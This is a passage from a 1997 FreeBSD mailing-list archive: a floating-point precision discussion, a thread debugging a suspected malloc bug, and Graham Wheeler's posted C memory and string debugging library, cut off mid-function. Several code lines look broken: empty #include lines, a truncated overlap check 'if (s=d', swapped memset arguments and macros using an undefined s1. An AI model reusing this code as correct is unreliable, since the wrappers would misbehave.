(spint_1.a4 * z2 * (spint_1.a5 * z2 * (spint_1.a6 * z2 * > (spint_1.a7 * z2 * (spint_1.a8 * z2 * (spint_1.a9 * z2 * ( > spint_1.a10 * z2 + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + > 1.) + 1.) + 1.) + spint_1.zeta2 + z__ * log(1. - *x); > > > (xxgdb) info float > u: status 0x82e1: exceptions: INVALID LOS FPSTACK; flags: 0010; top 0 > e: status 0x200: flags: 0010; top 0 > control 0x1272: compute to 53 bits; round NEAREST; mask: DENORM UNDERF LOS; > last instruction: opcode 0x1d0; pc 0x8:0xf01f9a96; operand 0x27:0x92844 [ ... ] > What is LOS ? Loss of significance? Uh, an acronym. 8-). I'd actually have to break out my Intel book to tell you for sure. It's something that means about that anyway. It could be "Loss Of Signal" knowing Intel... > When I'm seeing such a few steps before the exception occurs, does it mean > that an exception is pending? > ---------------------------vvv > status 0x3920: exceptions: LOS; flags: 0001; top 7 > control 0x1272: compute to 53 bits; round NEAREST; mask: DENORM UNDERF LOS; > last instruction: opcode 0x6d9; pc 0x1f:0x1b280; operand 0x27:0x1aca0 Floating point values are stored as sign, exponent, and mantisa. It means that given the exponent, the value that can be expressed by any given mantisa is domain limited. That is, it has the same range it's always had, but the effects are amplified to the degree that there is a loss of precision as a result. You can think of any given mantisa as a slow clockwise spiral from an exponenet of 1 out to the highest possible positive exponent, and a negative spiral from an exponent of 1 to 0. If you plot two adjacent mantisa'a in say a multiply operation, the arms of the spiral spread out the further out you get. The number space is basically quantized, with a decreasing radial density. Have you ever seen a circular log-decilog slide-rule with the top off? Another analogy might be a fixed number of sectors on all tracks on a hard drive. In the multiplicative and divisive underflow examples I gave in my previous mail, you were looking at the number of bits at which point the curve of the spiral became tangential to a bounding circle (in the counterclockwise direction). Binary numbers don't understand Zeno's paradox. ;-). When you are dealing with a small real number X, 1 > fabs(X) > 0, in an equation with associative properties, you should do the divides before you do the multiplies to keep the result "centered" in the highest precision area of the graph I described. Basically, you should dictate order of associativity. Since this is physics code, this should be easy; after all, you never do a physics problem where you don't have an expectation about the answer. If you did, you'd be a mathematician, not a physicist testing a model's ability to predict empirical data. 8-). For the original code, you can dictate order of associativity by putting parenthesis in the original FORTRAN code based on the quantities you expect to be multiplying or dividing. These should carry over to the post-translation C code. If it's any consolation, I was stumped for a good week the first time this happened to me. That's about 1.0e13 Proton-Proton pair production collisions on the very expensive hardware I was using. 8-(. Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Sep 18 09:49:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA18609 for hackers-outgoing; Thu, 18 Sep 1997 09:49:45 -0700 (PDT) Received: from citadel.cdsec.com (citadel.cdsec.com [192.96.22.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA18595 for ; Thu, 18 Sep 1997 09:49:31 -0700 (PDT) Received: (from nobody@localhost) by citadel.cdsec.com (8.8.5/8.6.9) id SAA17690; Thu, 18 Sep 1997 18:54:35 +0200 (SAT) Received: by citadel via recvmail id 17688; Thu Sep 18 18:53:52 1997 by gram.cdsec.com (8.8.5/8.8.5) id SAA00548; Thu, 18 Sep 1997 18:40:58 +0200 (SAT) From: Graham Wheeler Message-Id: <199709181640.SAA00548@cdsec.com> Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) To: phk@critter.freebsd.dk (Poul-Henning Kamp) Date: Thu, 18 Sep 1997 18:40:57 +0200 (SAT) Cc: gram@gram.cdsec.com (Graham Wheeler), hackers@freebsd.org In-Reply-To: <10531.874599844@critter.freebsd.dk> from "Poul-Henning Kamp" at Sep 18, 97 06:24:04 pm X-Mailer: ELM [version 2.4 PL25-h4.1] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Howdy > >i.e. the size is stored both immediately preceding and immediately > >following the useable space. As part of the consistency checking, > >these two sizes are compared and should match. This should catch almost > >all small overruns or underruns, and abort the process. So this > >malloc should be less tolerant of bugs in my code than pkhmalloc is, > >rather than more tolerant, > > again: depends. Fair enough - I assume then that the reason your prior example had padding was because you round allocations up to multiples of four bytes, rather than always adding padding to be `fault-tolerant'. > >Can you offer an explanation as to why the process never returns from > >the call to malloc, nor does it abort? This seems to indicate an infinite > >loop. Not having delved too deeply into your code, I can only speculate > >that the linked list is being made circular, so the process is in an > >infinite, looping traversal. Perhaps that is a check that can be added; > >namely that walking the list must always proceed forward, never backward > >(assuming that the list is kept in sequential order). It is interesting to note that this looping is almost always what happens - it is very rare that the process actually aborts. It seems strange that the bahaviour is so consistent, especially as the stack backtraces are in very different parts of my own code, and the application itself is pretty non-deterministic, being I/O event-driven. This, together with the fact that the problem only started when we moved to from FreeBSD 2.1 to 2.2.2, is why I suggested that the bug may be in the malloc code. Let me state quite clearly though that this is a suggestion, certainly not an accusation. I'm just running out of things to suspect... > This is about the only way you could get it to loop I think. That means > that somebody wrote to memory malloc hadn't passed them (ie: your code). Well, someone's code ;-). > This would indicate a bug of the class where memory is written to after > being free()'ed, a kind of bug which phkmalloc makes no attempt to catch. Nor should it, that would be a performance sacrifice. That's why I linked with a debug library. I'll check once again for this, but doubt I'll find anything - I'm quite meticulous about zeroing pointers after freeing them, unless the variable in question goes out of scope immediately afterwards. I *have* to meticulous - I'm the person who gets the flack when things go wrong, and believe me, you don't want 5000 pissed off people screaming at you that they can't surf the web... If the process is still running fine tomorrow morning, I am going to try a version linked with the alternative libmalloc but using the non-debug version; this could also be interesting. -- Dr Graham Wheeler E-mail: gram@cdsec.com Citadel Data Security Phone: +27(21)23-6065/6/7 Internet/Intranet Network Specialists Mobile: +27(83)-253-9864 Firewalls/Virtual Private Networks Fax: +27(21)24-3656 Data Security Products WWW: http://www.cdsec.com/ From owner-freebsd-hackers Thu Sep 18 10:10:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA20153 for hackers-outgoing; Thu, 18 Sep 1997 10:10:41 -0700 (PDT) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA20146 for ; Thu, 18 Sep 1997 10:10:37 -0700 (PDT) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id TAA10668; Thu, 18 Sep 1997 19:09:20 +0200 (CEST) To: Graham Wheeler cc: gram@gram.cdsec.com.dk.tfs.com (Graham Wheeler), hackers@freebsd.org Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) In-reply-to: Your message of "Sat, 18 Sep 1997 18:40:57 +0200." <199709181640.SAA00548@cdsec.com> Date: Thu, 18 Sep 1997 19:09:20 +0200 Message-ID: <10666.874602560@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199709181640.SAA00548@cdsec.com>, Graham Wheeler writes: >Howdy > >> >i.e. the size is stored both immediately preceding and immediately >> >following the useable space. As part of the consistency checking, >> >these two sizes are compared and should match. This should catch almost >> >all small overruns or underruns, and abort the process. So this >> >malloc should be less tolerant of bugs in my code than pkhmalloc is, >> >rather than more tolerant, >> >> again: depends. > >Fair enough - I assume then that the reason your prior example had padding >was because you round allocations up to multiples of four bytes, rather >than always adding padding to be `fault-tolerant'. Slightly more complicated, all allocations less than 2048 are rounded up to nearest power of two, minimum 16 bytes. Allocations above 2048 are rounded up to an integral number of pages (4k). >the problem only started when we moved to from FreeBSD 2.1 to 2.2.2, >is why I suggested that the bug may be in the malloc code. Let me state >quite clearly though that this is a suggestion, certainly not an accusation. >I'm just running out of things to suspect... I'm not taking it as such, don't worry :-) It's just that my work on phkmalloc has taught me far more about how subtle malloc related problems can manifest themselves, and I now realize why Purify costs what it does. If I'd written it, I wouldn't charge any less. >> This is about the only way you could get it to loop I think. That means >> that somebody wrote to memory malloc hadn't passed them (ie: your code). > >Well, someone's code ;-). sure :-) But this is the first report I have of such a loop. :-) >> This would indicate a bug of the class where memory is written to after >> being free()'ed, a kind of bug which phkmalloc makes no attempt to catch. > >Nor should it, that would be a performance sacrifice. That's why I linked >with a debug library. > >I'll check once again for this, but doubt I'll find anything - I'm quite >meticulous about zeroing pointers after freeing them, unless the variable in >question goes out of scope immediately afterwards. I *have* to meticulous - >I'm the person who gets the flack when things go wrong, and believe me, you >don't want 5000 pissed off people screaming at you that they can't surf the >web... Know the feeling. >If the process is still running fine tomorrow morning, I am going to try >a version linked with the alternative libmalloc but using the non-debug >version; this could also be interesting. Consider trying mprof-3.0 and boehm-gc maybe one of them will find it. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-hackers Thu Sep 18 10:30:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA21247 for hackers-outgoing; Thu, 18 Sep 1997 10:30:37 -0700 (PDT) Received: from citadel.cdsec.com (citadel.cdsec.com [192.96.22.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA21232 for ; Thu, 18 Sep 1997 10:30:27 -0700 (PDT) Received: (from nobody@localhost) by citadel.cdsec.com (8.8.5/8.6.9) id TAA18982; Thu, 18 Sep 1997 19:35:35 +0200 (SAT) Received: by citadel via recvmail id 18949; Thu Sep 18 19:35:08 1997 by gram.cdsec.com (8.8.5/8.8.5) id TAA00606; Thu, 18 Sep 1997 19:22:11 +0200 (SAT) From: Graham Wheeler Message-Id: <199709181722.TAA00606@cdsec.com> Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) To: phk@critter.freebsd.dk (Poul-Henning Kamp) Date: Thu, 18 Sep 1997 19:22:10 +0200 (SAT) Cc: gram@gram.cdsec.com (Graham Wheeler), hackers@freebsd.org In-Reply-To: <10666.874602560@critter.freebsd.dk> from "Poul-Henning Kamp" at Sep 18, 97 07:09:20 pm X-Mailer: ELM [version 2.4 PL25-h4.1] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Howdy again > >the problem only started when we moved to from FreeBSD 2.1 to 2.2.2, > >is why I suggested that the bug may be in the malloc code. Let me state > >quite clearly though that this is a suggestion, certainly not an accusation. > >I'm just running out of things to suspect... > > I'm not taking it as such, don't worry :-) It's just that my work on > phkmalloc has taught me far more about how subtle malloc related problems > can manifest themselves, and I now realize why Purify costs what it does. > If I'd written it, I wouldn't charge any less. Well, then maybe you'll find the code below useful. It isn't Purify, but then it doesn't cost anything near the price 8-). I'd use it myself now, except that these days I write everything in C++. Mostly I'm happy about that, but not right now... ------------ gwdebug.h --------------------------------------------------- /* * A drop-in debugging library for C * * (c) 1994 by Graham Wheeler, All Rights Reserved * * This code may be freely redistributed, provided that it is * not modified in any way. If you make changes to this code * that you feel are useful, and would like to see them * incorporated, please send mail to gram@cdsec.com */ #ifndef __GWDEBUG_H__ #define __GWDEBUG_H__ #ifdef GW_DEBUG /* Memory debugging */ /* undefine them first in case we included heap.h */ #undef malloc #undef calloc #undef realloc #undef free extern void *my_malloc(unsigned n, char *f, int l); extern void *my_calloc(unsigned n, char *f, int l); extern void *my_realloc(void *p, unsigned n, char *f, int l); extern void my_free(void *p, char *f, int l); #define malloc(n) my_malloc(n, __FILE__, __LINE__) #define calloc(n) my_calloc(n, __FILE__, __LINE__) #define realloc(p,n) my_realloc(p, n, __FILE__, __LINE__) #define free(p) my_free(p, __FILE__, __LINE__) /* String and memory debugging */ extern char *my_memcpy(char *d, int hint, int limit, char *s, int shint, int flag, char *f, int l); extern char *my_strcpy(char *d, int hint, int limit, char *s, int shint, int flag, char *f, int l); extern char *my_memset(char *d, int hint, int limit, char c, char *f, int l); extern int my_memcmp(char *s1, int siz1, char *s2, int siz2, int n, int flag, char *f, int l); extern int my_strcmp(char *s1, int siz1, char *s2, int siz2, int n, int flag, char *f, int l); extern int my_strlen(char *s, int siz, char *f, int l); extern char *my_strdup(char *s, int siz, int n, char *f, int l); extern char *my_strstr(char *s1, int siz1, char *s2, int siz2, char *f, int l); extern char *my_strpbrk(char *s1, int siz1, char *s2, int siz2, char *f, int l); extern char *my_strchr(char *s, int siz, int c, char *f, int l); extern char *my_strrchr(char *s, int siz, int c, char *f, int l); extern int my_strspn(char *s1, int siz1, char *s2, int siz2, char *f, int l); extern int my_strcspn(char *s1, int siz1, char *s2, int siz2, char *f, int l); #define strcpy(d,s) my_strcpy(d, sizeof(d), 0, s, sizeof(s), 0, __FILE__, __LINE__) #define stpcpy(d,s) my_strcpy(d, sizeof(d), 0, s, sizeof(s), 2, __FILE__, __LINE__) #define strncpy(d,s,n) my_strcpy(d, sizeof(d), n, s, sizeof(s), 0, __FILE__, __LINE__) #define strcat(d,s) my_strcpy(d, sizeof(d), 0, s, sizeof(s), 4, __FILE__, __LINE__) #define strncat(d,s,n) my_strcpy(d, sizeof(d), n, s, sizeof(s), 4, __FILE__, __LINE__) #define memcpy(d,s,n) my_memcpy(d, sizeof(d), n, s, sizeof(s), 0, __FILE__, __LINE__) #define memmove(d,s,n) my_memcpy(d, sizeof(d), n, s, sizeof(s), 1, __FILE__, __LINE__) #define memset(d,c,n) my_memset(d, sizeof(d), n, c, __FILE__, __LINE__) #define strcmp(s1,s2) my_strcmp(s1, sizeof(s1), s2, sizeof(s2), 0, 0, __FILE__, __LINE__) #define strncmp(s1,s2,n) my_strcmp(s1, sizeof(s1), s2, sizeof(s2), n, 0, __FILE__, __LINE__) #define memcmp(s1,s2,n) my_memcmp(s1, sizeof(s1), s2, sizeof(s2), n, 1, __FILE__, __LINE__) #define strlen(s) my_strlen(s, sizeof(s), __FILE__, __LINE__) #define strdup(s) my_strdup(s, sizeof(s), __FILE__, __LINE__) #define strstr(s1,s2) my_strstr(s1, sizeof(s1), s2, sizeof(s2), __FILE__, __LINE__) #define strpbrk(s1,s2) my_strpbrk(s1, sizeof(s1), s2, sizeof(s2), __FILE__, __LINE__) #define strchr(s,c) my_strchr(s, sizeof(s1), c, __FILE__, __LINE__) #define strrchr(s,c) my_strrchr(s, sizeof(s1), c, __FILE__, __LINE__) #define strspn(s1,s2) my_strspn(s1, sizeof(s1), s2, sizeof(s2), __FILE__, __LINE__) #define strcspn(s1,s2) my_strcspn(s1, sizeof(s1), s2, sizeof(s2), __FILE__, __LINE__) /* File debugging */ extern FILE *my_fopen(char *n, char *m, char *f, int l); extern int my_fclose(FILE *fp, char *f, int l); extern int my_open(char *n, int m, int a, char *f, int l); extern int my_close(int h, char *f, int l); extern int my_dup(int h, char *f, int l); extern int my_read(int h, void *buf, unsigned len, int hint, char *f, int l); extern size_t my_fread(void *buf, size_t size, size_t n, FILE *fp, int space_avail, char *f, int l); extern char *my_fgets(void *buf, int n, FILE *fp, int space_avail, char *f, int l); #define fopen(n,m) my_fopen(n,m,__FILE__,__LINE__) #define fclose(f) my_fclose(f,__FILE__,__LINE__) #define open(n,m,a) my_open(n,m,a,__FILE__,__LINE__) #define close(h) my_close(h,__FILE__,__LINE__) #define dup(h) my_dup(h,__FILE__,__LINE__) #define read(h,b,n) my_read(h, b, n, sizeof(b), __FILE__, __LINE__) #define fread(b,s,n,f) my_fread(b, s, n, f, sizeof(b), __FILE__, __LINE__) #define fgets(b,n,f) my_fgets(b, n, f, sizeof(b), __FILE__, __LINE__) #endif /* GW_DEBUG */ #endif /* __GWDEBUG_H__ */ ---------- gwdebug.c ------------------------------------------------------- /* * A drop-in debugging library for C v2.0 * * (c) 1994 by Graham Wheeler, All Rights Reserved * * This code may be freely redistributed, provided that it is * not modified in any way. If you make changes to this code * that you feel are useful, and would like to see them * incorporated, please send mail to gram@cdsec.com * * Only change since v1.1 is that DOS support has been removed. * * This library provides drop-in wrappers for the following * common C library routines: * * Memory allocation routines: * malloc(), calloc(), free(), realloc() * * String and memory routines: * strcpy(), strncpy(), memcpy(), memset(), memmove(), * strcmp(), strncmp(), memcmp(), strlen(), strdup(), * strstr(), strpbrk(), stpcpy(), strcat(), strncat(), * strchr(), strrchr(), strspn(), strcspn() * * File I/O routines: * open(), close(), dup(), fopen(), fclose(), * read(), fread(), fgets() * * The library catches: * * - failed mallocs/callocs/reallocs and bad frees * - memory and file leaks * - some bad parameters passed to these routines * * In addition: * * - some overruns of dynamic, global and auto buffers are caught, * reported and recovered from (memcpy, memset, * strcpy, strncpy, stpcpy, read, fread, fgets) * - some potential overruns are warned about * - attempts to memcpy/strcpy/etc uninitialised memory is reported * - all overruns of dynamic buffers are reported when the memory * is freed. Overruns of less than 5 bytes will not clobber the * heap. * * To use the library, link this file with your application. * Add a line `#include "gwdebug.h" to each source file of * your application, AFTER any other #includes. * Then compile with GW_DEBUG defined to use the library. * * You can define DEBUG_LOG to be a log file name; else * standard error is used. * */ #ifdef GW_DEBUG #include #include #include #include #include #include static FILE *logfile = NULL; static char *store_name(char *name); static void my_initialise(void); static void my_report(void); /*******************************/ /* Memory allocation debugging */ /*******************************/ #define MAGIC (0x24681357L) /* Freeing a blk_info header will usually result in the memory manager using the first few bytes to store the block on the free list. The fields at the start of blk_info have been chosen to be the ones we don't mind being clobbered. */ typedef struct { long magic; void *next; long nbytes; char *file; short line; } blk_info; #define GET_BLKP(p, o) (( (blk_info *)(p) ) + (o)) #define GET_BLK(p) (blk_info *)GET_BLKP(p, -1) #define GET_DATA(p) ((void *)GET_BLKP(p, 1)) #define BUMPSIZE(n) ((n)+sizeof(blk_info) + sizeof(long)) #define SET_ENDMAGIC(p,n) *(long *)( ((char *)p)+n ) = MAGIC #define TST_ENDMAGIC(p,n) (*(long *)( ((char *)p)+n ) == MAGIC) void my_free(void *p, char *f, int l); static void *heap_list_head = NULL; void my_memory_report(int is_last) { void *p; /* walk dat list... */ p = heap_list_head; if (p) { fprintf(logfile,is_last ? "MEMORY LEAKS:\n" : "Allocated Memory Blocks:\n"); while (p) { blk_info *bp = GET_BLK(p); fprintf(logfile,"\tSize %8ld File %16s Line %d\n", bp->nbytes, bp->file, bp->line); p = bp->next; } } } static void log_alloc(void *rtn, unsigned long n, char *f, int l) { char *savedname; blk_info *bp = (blk_info *)rtn; assert(rtn); if (!logfile) my_initialise(); /* Get the pointer that is returned to the user */ rtn = GET_DATA(rtn); /* Save the size information */ bp->nbytes = n; /* Prepend to front of heap list */ bp->next = heap_list_head; heap_list_head = rtn; /* Save file name and line number, and put in bounding magic markers */ bp->file = store_name(f); bp->line = l; bp->magic = MAGIC; SET_ENDMAGIC(rtn, n); } void *my_calloc(unsigned n, char *f, int l) { /* Allocate the memory with space enough for our info */ void *rtn = calloc(BUMPSIZE(n), 1); log_alloc((void *)rtn, (unsigned long)n, f, l); return GET_DATA(rtn); } void *my_malloc(unsigned n, char *f, int l) { void *rtn = my_calloc(n,f,l); if (n >= sizeof(long)) *((unsigned long *)rtn) = MAGIC; /* mark as unitialised */ return rtn; } static int log_free(void *p, char *f, int l) { void *tmp, *last = NULL; blk_info *bp; if (!logfile) my_initialise(); /* Search the list for the block */ tmp = heap_list_head; while (tmp) { bp = GET_BLK(tmp); if (tmp == p) break; if (bp->magic != MAGIC) goto error; else { last = tmp; tmp = bp->next; } } if (tmp) { if (!TST_ENDMAGIC(p, bp->nbytes)) fprintf(logfile,"Block of size %ld allocated at %s, line %d, freed at %s, line %d, has been overrun\n", bp->nbytes, bp->file, bp->line, f, l); /* Unlink from chain */ if (last==NULL) heap_list_head = bp->next; else (GET_BLK(last))->next = bp->next; /* save who freed */ bp->file = store_name(f); bp->line = l; /* trash contents */ if (bp->nbytes >= sizeof(long)) *((unsigned long *)GET_DATA(bp)) = MAGIC; return 0; } else bp = GET_BLK(p); error: fprintf(logfile,"Bad call to free from file %s, line %d\n",f,l); /* Next check can cause seg violation on some UNIXes; if so change 1 to 0 */ #if 1 if (bp && bp->magic==MAGIC) fprintf(logfile,"Possibly freed before at %s, line %d, size %ld\n", bp->file, bp->line, bp->nbytes); #endif return -1; } void my_free(void *p, char *f, int l) { if (log_free((void *)p, f, l) == 0) free(GET_BLK(p)); } static blk_info *my_find_block(void *p) { blk_info *bp = GET_BLK(p); void *tmp = heap_list_head; /* Search the list for the block. We don't just check for the magic number under UNIX as this can cause a segmentation violation */ while (tmp) { if ((void *)tmp == (void *)p) return GET_BLK(p); tmp = GET_BLK(tmp)->next; } return NULL; } static int my_sizehint(void *p, int size) { void *tmp; blk_info *bp; if (p == NULL) return -1; bp = my_find_block(p); if (bp) { assert(size == sizeof(char *)); return (int)(bp->nbytes); } else if (size == sizeof(char *)) return -1; /* no clues */ else return size; } /*****************************/ /* String function debugging */ /*****************************/ /* flags for additional checks */ #define INIT1 1 /* arg s1 must be initialised */ #define INIT2 2 /* arg s2 must be initialised */ #define NULLT 4 /* must be initialised with NUL-terminated strings */ /* Validate a single pointer arg */ static int my_init_check(char *p, int space, int nul) { blk_info *bp = my_find_block(p); if (bp) { if (bp->nbytes>=sizeof(long) && *((unsigned long *)p)==MAGIC) return 0; return 1; } else if (space >= 0 && nul) { int i; for (i = 0; i < space; i++) if (p[i] == 0) return 1; return 0; } return 1; /* we don't know, so we assume OK */ } static int my_validate1(char *name, char *s, int space, char *f, int l, unsigned flags) { if (s==NULL) { fprintf(logfile,"%s(NULL) at file %s, line %d\n", name, f, l); return -1; } else if (flags & INIT1) { if (my_init_check(s, space, (flags&NULLT)!=0) == 0) { fprintf(logfile,"%s(uninitialised) at file %s, line %d\n", name, f, l); return -1; } } return 0; } /* Validate a pair of pointer args */ static int my_validate2(char *name, char *s1, int siz1, char *s2, int siz2, char *f, int l, unsigned flags) { /* Just validate arguments */ if (s1==NULL && s2==NULL) fprintf(logfile,"%s(NULL,NULL) at file %s, line %d\n", name, f, l); else if (s1==NULL) fprintf(logfile,"%s(NULL,...) at file %s, line %d\n", name, f, l); else if (s2==NULL) fprintf(logfile,"%s(...,NULL) at file %s, line %d\n", name, f, l); else if ((flags&INIT1) && my_init_check(s1, siz1, (flags&NULLT)!=0) == 0) fprintf(logfile,"%s(invalid,...) at file %s, line %d\n", name, f, l); else if ((flags&INIT2) && my_init_check(s2, siz2, (flags&NULLT)!=0) == 0) fprintf(logfile,"%s(...,invalid) at file %s, line %d\n", name, f, l); else return 0; return -1; } /* Handler for strcpy, stpcpy, strncpy, strcat, strncat, memcpy, and memmove */ char *my_copy(char *d, int space_avail, int limit, char *s, int sspace, int flag, char *f, int l, unsigned strflags) { char *rtn = d; int space_needed, i, dlen; if (!logfile) my_initialise(); space_avail = my_sizehint(d, space_avail); sspace = my_sizehint(s, sspace); if (my_validate2(strflags?"String copy":"Mem copy", d, space_avail, s, sspace, f,l,INIT2|strflags)) return d; /* how much space do we need? */ space_needed = limit ? limit : (strflags ? (strlen(s)+1) : space_avail); /* Are we cat'ing? If so, how long is the existing stuff? */ dlen = (flag&4) ? strlen(d) : 0; /* space enuf? */ limit = space_needed; if (space_avail >= 0 && space_needed > (space_avail-dlen)) { fprintf(logfile,"String/memory copy overrun at file %s, line %d - truncating\n\ttarget space %d, source length %d\n", f, l, (space_avail-dlen), space_needed); limit = space_avail-dlen; } else if (space_avail >= 0 && sspace >= 0 && sspace > (space_avail-dlen)) fprintf(logfile,"Potential string/memory copy overrun at file %s, line %d\n\ttarget space %d, source size %d\n", f, l, (space_avail-dlen), sspace); d += dlen; if (s=d && (flag&1)==0) /* forward copy would clobber source */ fprintf(logfile,"String/memory copy clobber in %s, line %d\n", f, l); memmove(d,s,limit); return rtn + ( (flag & 2) ? (limit-1) : 0); /* hax for stpcpy */ } char *my_memcpy(char *d, int space_avail, int limit, char *s, int sspace, int flag, char *f, int l) { return my_copy(d, space_avail, limit, s, sspace, flag, f, l, 0); } char *my_strcpy(char *d, int space_avail, int limit, char *s, int sspace, int flag, char *f, int l) { return my_copy(d, space_avail, limit, s, sspace, flag, f, l, NULLT); } char *my_memset(char *d, int space_avail, int limit, char c, char *f, int l) { char *rtn = d; int space_needed, i; if (!logfile) my_initialise(); /* how much space do we have? */ space_avail = my_sizehint(d, space_avail); if (my_validate1("memset", d, space_avail, f, l, 0)) goto done; /* space enuf? */ if (space_avail >= 0 && limit > space_avail) { fprintf(logfile,"memset overrun at file %s, line %d - truncating\n\ttarget length %d, source length %d\n", f, l, space_avail, limit); limit = space_avail; } memset(d,limit,c); done: return rtn; } static int my_compare(char *s1, int siz1, char *s2, int siz2, int n, int flag, char *f, int l, unsigned strflags) { if (!logfile) my_initialise(); /* Just validate arguments */ siz1 = my_sizehint(s1, siz1); siz2 = my_sizehint(s2, siz2); if (my_validate2("memcmp", s1, siz1, s2, siz2, f, l, INIT1|INIT2|strflags)) return ((s1?1:0)-(s2?1:0)); if (n==0) return strcmp(s1,s2); else if (flag) return strncmp(s1,s2,n); else return memcmp(s1,s2,n); } int my_memcmp(char *s1, int siz1, char *s2, int siz2, int n, int flag, char *f, int l) { return my_compare(s1, siz1, s2, siz2, n, flag, f, l, 0); } int my_strcmp(char *s1, int siz1, char *s2, int siz2, int n, int flag, char *f, int l) { return my_compare(s1, siz1, s2, siz2, n, flag, f, l, NULLT); } int my_strlen(char *s, int siz, char *f, int l) { if (!logfile) my_initialise(); siz = my_sizehint(s, siz); return my_validate1("strlen", s, siz, f, l, INIT1|NULLT) ? 0 : strlen(s); } char *my_strdup(char *s, int siz, char *f, int l) { if (!logfile) my_initialise(); siz = my_sizehint(s, siz); if (my_validate1("strdup", s, siz, f, l, INIT1|NULLT)==0) { int n = strlen(s)+1; char *rtn = my_calloc(n,f,l); assert(rtn); my_memcpy(rtn, n, n, s, n, 0, f, l); return rtn; } return NULL; } char *my_strstr(char *s1, int siz1, char *s2, int siz2, char *f, int l) { if (!logfile) my_initialise(); siz1 = my_sizehint(s1, siz1); siz2 = my_sizehint(s2, siz2); return my_validate2("strstr", s1, siz1, s2, siz2, f, l, INIT1|INIT2|NULLT) ? NULL : strstr(s1,s2); } char *my_strpbrk(char *s1, int siz1, char *s2, int siz2, char *f, int l) { if (!logfile) my_initialise(); siz1 = my_sizehint(s1, siz1); siz2 = my_sizehint(s2, siz2); return my_validate2("strpbrk", s1, siz1, s2, siz2, f, l, INIT1|INIT2|NULLT) ? NULL : strpbrk(s1,s2); } char *my_strchr(char *s, int siz, int c, char *f, int l) { if (!logfile) my_initialise(); siz = my_sizehint(s, siz); return my_validate1("strchr", s, siz, f, l, INIT1|NULLT) ? NULL : strchr(s,c); } char *my_strrchr(char *s, int siz, int c, char *f, int l) { if (!logfile) my_initialise(); siz = my_sizehint(s, siz); return my_validate1("strrchr", s, siz, f, l, INIT1|NULLT) ? NULL : strrchr(s,c); } int my_strspn(char *s1, int siz1, char *s2, int siz2, char *f, int l) { if (!logfile) my_initialise(); siz1 = my_sizehint(s1, siz1); siz2 = my_sizehint(s2, siz2); return my_validate2("strspn", s1, siz1, s2, siz2, f, l, INIT1|INIT2|NULLT) ? 0 : strspn(s1,s2); } int my_strcspn(char *s1, int siz1, char *s2, int siz2, char *f, int l) { if (!logfile) my_initialise(); siz1 = my_sizehint(s1, siz1); siz2 = my_sizehint(s2, siz2); return my_validate2("strcspn", s1, siz1, s2, siz2, f, l, INIT1|INIT2|NULLT) ? 0 : strcspn(s1,s2); } /***************************/ /* File function debugging */ /***************************/ #ifndef MAX_FILES #define MAX_FILES 64 #endif typedef struct { char *name; char *fname; int line; FILE *fp; } file_info_t; static file_info_t file_info[MAX_FILES]; #include FILE *my_fopen(char *n, char *m, char *f, int l) { FILE *rtn; if (!logfile) my_initialise(); rtn = fopen(n,m); if (rtn) { int h = fileno(rtn); if (file_info[h].line>0) /* shouldn't happen unless system fopen is broken */ fprintf(logfile,"%2d (%s) fopened at %s, line %d was already opened at %s, line %d\n", h, n, f, l, file_info[h].fname, file_info[h].line); #ifdef GW_TRACE else fprintf(logfile,"File %2d (%s) fopened at %s, line %d\n", h, n, f, l); #endif file_info[h].name = store_name(n); file_info[h].fname = store_name(f); file_info[h].line = l; file_info[h].fp = rtn; } else fprintf(logfile,"fopen of %s at %s, line %d failed!\n", n, f, l); return rtn; } int my_fclose(FILE *fp, char *f, int l) { if (!logfile) my_initialise(); if (fp) { int h = fileno(fp); if (file_info[h].line <= 0) fprintf(logfile,"Bad close(%d) at %s, line %d; already closed at %s, line %d\n", h, f, l, file_info[h].fname, -file_info[h].line); else { #ifdef GW_TRACE fprintf(logfile,"File %2d (%s) opened at %s, line %d fclosed at %s, line %d\n", h, file_info[h].name, file_info[h].fname, file_info[h].line, f, l); #endif file_info[h].fname = store_name(f); file_info[h].line = -l; return fclose(fp); } } else fprintf(logfile,"Illegal fclose(NULL) by %s line %d\n", f, l); return 0; } int my_open(char *n, int m, int a, char *f, int l) { int rtn; if (!logfile) my_initialise(); rtn = open(n,m,a); if (rtn >= 0) { if (file_info[rtn].line>0) /* shouldn't happen unless system fopen is broken */ fprintf(logfile,"%2d (%s) fopened at %s, line %d was already open at %s, line %d\n", rtn, n, f, l, file_info[rtn].fname, file_info[rtn].line); #ifdef GW_TRACE else fprintf(logfile,"File %2d (%s) fopened at %s, line %d\n", rtn, n, f, l); #endif file_info[rtn].name = store_name(n); file_info[rtn].fname = store_name(f); file_info[rtn].line = l; file_info[rtn].fp = NULL; } else fprintf(logfile,"open of %s at %s, line %d failed!\n\t(%s)\n", n, f, l, strerror(errno)); return rtn; } int my_close(int h, char *f, int l) { if (!logfile) my_initialise(); if (h>=0) { if (file_info[h].line <= 0) fprintf(logfile,"Bad close(%d) by %s, line %d; already closed at %s, line %d\n", 